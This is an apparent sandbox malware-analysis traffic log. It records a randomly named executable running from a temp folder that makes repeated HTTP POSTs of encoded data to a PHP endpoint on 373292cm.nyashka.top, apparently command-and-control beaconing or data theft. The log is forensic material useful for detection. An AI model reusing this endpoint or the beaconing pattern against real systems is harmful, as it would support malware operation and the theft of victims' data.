Aug 26, 2024 20:17:23.414726973 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0c 28 25 2e 5b 32 2b 30 55 27 0d 2a 1f 2a 2d 23 10 3e 2e 36 07 27 06 04 06 32 00 05 0c 27 15 21 5d 29 3e 39 0a 32 01 2f 5c 2e 24 2b 5d 0c 13 21 07 34 3a 0b 04 31 3c 34 11 2a 01 30 07 36 3c 21 03 2b 03 36 0a 3e 2c 3c 5b 3c 07 2c 01 28 04 00 52 38 5e 35 5b 2d 0e 0b 0c 23 14 2b 52 0d 11 24 53 29 3e 2e 0e 2a 3d 28 06 21 28 24 02 27 3e 32 56 31 22 3d 0b 33 39 20 58 31 32 35 54 25 21 21 51 24 2b 25 06 31 01 3d 1d 23 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %(%.[2+0U'*-#>.6'2'!])>92/\.$+]!4:1<406<!+6>,<[<,(R8^5[-#+R$S)>.*=(!($'>2V1"=39 X125T%!!Q$+%1=#"#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49794	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:22.627903938 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:22.977803946 CEST	2576	OUT	Data Raw: 5a 56 59 55 51 45 54 5d 5b 5f 5a 51 59 52 58 55 57 50 5d 52 57 58 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZVYUQET][_ZQYRXUWP]RWXSTYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^._;#3#>8]73=*[ \<:<>47,7W42<R('#>,&F$.Y/1
Aug 26, 2024 20:17:23.326246023 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:23.530728102 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49795	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:23.659291983 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:24.008753061 CEST	2576	OUT	Data Raw: 5f 56 59 53 51 44 51 59 5b 5f 5a 51 59 52 58 50 57 5c 5d 5f 57 58 53 5b 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _VYSQDQY[_ZQYRXPW\]_WXS[YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.8 !8#0Z+><Y>.(+]7V 3()"058>&F$.Y/1
Aug 26, 2024 20:17:24.359627008 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:24.498284101 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49796	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:25.287919044 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:25.651839972 CEST	2576	OUT	Data Raw: 5f 51 5c 57 51 47 54 58 5b 5f 5a 51 59 50 58 53 57 5f 5d 5e 57 59 53 5b 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _Q\WQGTX[_ZQYPXSW_]^WYS[YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^._,/A60]70>-<^?.&)>8 /0#,W*9 #>;>&F$.Y/
Aug 26, 2024 20:17:25.958468914 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:26.089359045 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49797	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:26.218605042 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:26.571294069 CEST	2576	OUT	Data Raw: 5f 51 59 53 51 42 54 5c 5b 5f 5a 51 59 52 58 52 57 5b 5d 5c 57 58 53 5b 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _QYSQBT\[_ZQYRXRW[]\WXS[YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-.36#6=++-:(=;\#<(!2;?)$4\8>&F$.Y/1
Aug 26, 2024 20:17:26.923962116 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:27.054831028 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49798	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:27.287429094 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:27.666753054 CEST	2568	OUT	Data Raw: 5f 52 59 57 54 46 54 5b 5b 5f 5a 51 59 57 58 53 57 5d 5d 5d 57 5a 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _RYWTFT[[_ZQYWXSW]]]WZSZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.,#B!= "09>4^(.<=;7?<!23?+#]8>&F$.Y/5
Aug 26, 2024 20:17:27.974777937 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:28.173783064 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49799	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:28.352363110 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49800	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:28.437875032 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:28.790061951 CEST	2036	OUT	Data Raw: 5f 52 5c 54 54 42 54 5e 5b 5f 5a 51 59 50 58 53 57 5f 5d 59 57 5f 53 58 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _R\TTBT^[_ZQYPXSW_]YW_SXYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^./#6.(X# >=0\?=5_+47//40S(3^ 0=Y;.&F$.Y/
Aug 26, 2024 20:17:29.133126974 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:29.266156912 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0d 2a 26 36 58 31 3b 0d 0d 24 20 3a 54 29 2d 3f 13 29 2e 29 5f 27 28 35 59 27 2e 2c 51 30 3b 29 11 28 3e 21 0a 31 3c 3c 01 2d 0e 2b 5d 0c 13 21 06 20 14 0f 03 26 02 0d 00 3d 06 27 5a 35 05 26 5d 28 3a 0c 0b 2b 3f 0a 5f 28 3a 27 11 28 04 0c 52 2f 3b 29 5f 2d 30 31 0e 37 2e 2b 52 0d 11 24 55 29 2d 31 1f 3e 10 1a 07 35 06 2f 10 24 04 32 57 24 32 0f 0c 33 39 28 58 25 22 18 09 25 22 39 55 31 2b 0c 5e 25 2f 2a 0c 21 18 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %&6X1;$ :T)-?).)_'(5Y'.,Q0;)(>!1<<-+]! &='Z5&](:+?_(:'(R/;)_-017.+R$U)-1>5/$2W$239(X%"%"9U1+^%/!#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49801	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:28.567419052 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:28.915043116 CEST	2576	OUT	Data Raw: 5f 57 5c 54 51 44 51 5d 5b 5f 5a 51 59 56 58 57 57 51 5d 53 57 5e 53 5d 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _W\TQDQ][_ZQYVXWWQ]SW^S]YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-/3/D5=40=4^+%(#Z4 (#9_8&F$.Y/!
Aug 26, 2024 20:17:29.246543884 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:29.378592968 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49802	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:29.527369976 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:29.884064913 CEST	2576	OUT	Data Raw: 5f 51 5c 56 54 47 54 5b 5b 5f 5a 51 59 52 58 56 57 58 5d 52 57 5d 53 58 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _Q\VTGT[[_ZQYRXVWX]RW]SXYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.].#<#-$_#0!>.4(=Z+#/3 +?* #!;.&F$.Y/1
Aug 26, 2024 20:17:30.203457117 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:30.404911995 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49803	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:30.699182987 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:31.056149960 CEST	2576	OUT	Data Raw: 5a 52 59 53 54 47 54 5f 5b 5f 5a 51 59 52 58 53 57 5e 5d 5e 57 59 53 59 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZRYSTGT_[_ZQYRXSW^]^WYSYYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-/#;A!= Y"01Z*.4_<(>+4Z+V 2;?9 ,&F$.Y/1
Aug 26, 2024 20:17:31.383872986 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:31.697200060 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49804	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:31.824565887 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:32.180923939 CEST	2576	OUT	Data Raw: 5f 5d 5c 55 54 44 51 5e 5b 5f 5a 51 59 54 58 5e 57 5c 5d 5e 57 5a 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _]\UTDQ^[_ZQYTX^W\]^WZSZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-,U#E5 #!= X>.)Z<= <7P ()^70*;>&F$.Y/)
Aug 26, 2024 20:17:32.511904001 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:32.721808910 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49805	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:32.859519005 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:33.234217882 CEST	2576	OUT	Data Raw: 5f 5c 59 57 51 47 54 5e 5b 5f 5a 51 59 56 58 51 57 51 5d 52 57 5a 53 55 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _\YWQGT^[_ZQYVXQWQ]RWZSUYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.^. 0"> X7%>><+.!+>+#,#8?+ #%X/&F$.Y/!
Aug 26, 2024 20:17:33.814311981 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:34.067725897 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[
Aug 26, 2024 20:17:34.067760944 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[
Aug 26, 2024 20:17:34.069569111 CEST	183	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 36 20 41 75 67 20 32 30 32 34 20 31 38 3a 31 37 3a 33 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 3b 55 5f 5b Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Mon, 26 Aug 2024 18:17:32 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-alive;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49806	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:34.198399067 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49807	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:34.282476902 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:34.633755922 CEST	2036	OUT	Data Raw: 5f 5c 5c 5f 51 45 54 59 5b 5f 5a 51 59 55 58 53 57 5e 5d 5e 57 58 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _\\_QETY[_ZQYUXSW^]^WXSZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^._,0<!0 \+=<(%(7Y#<$4"/+*'7Y;&F$.Y/-
Aug 26, 2024 20:17:34.947287083 CEST	25	IN	HTTP/1.1 100 Continue
